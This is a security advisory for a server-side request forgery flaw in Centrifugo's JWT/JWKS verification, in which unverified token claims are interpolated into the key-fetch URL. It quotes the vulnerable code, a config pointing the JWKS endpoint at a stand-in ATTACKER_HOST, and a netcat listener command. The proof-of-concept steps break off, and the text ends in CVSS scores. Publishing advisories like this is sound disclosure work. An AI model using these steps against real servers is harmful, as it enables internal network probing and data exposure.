Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:
jwt.ParseNoVerify([]byte(t))validateClaims() runs — extracting named regex capture groups from
issuer_regex/audience_regex into tokenVars map using attacker-controlled
iss/aud claim valuesverifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled
tokenVars to the JWKS managerinternal/jwks/manager.go, fetchKey() interpolates tokenVars directly
into the JWKS URL:
jwkURL := m.url.ExecuteString(tokenVars)Suppressed the security linter on this line with an incorrect comment:
//nolint:gosec // URL is from server configuration, not user input.
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late — after the SSRF has already fired.
Required config (config.json):
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
Step 1 — Start listener on attacker machine:
nc -lvnp 8888
Step 2 — Generate malicious...
6.7.0Exploitability
AV:NAC:LPR:NUI:NScope
S:CImpact
C:HI:LA:N9.3/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N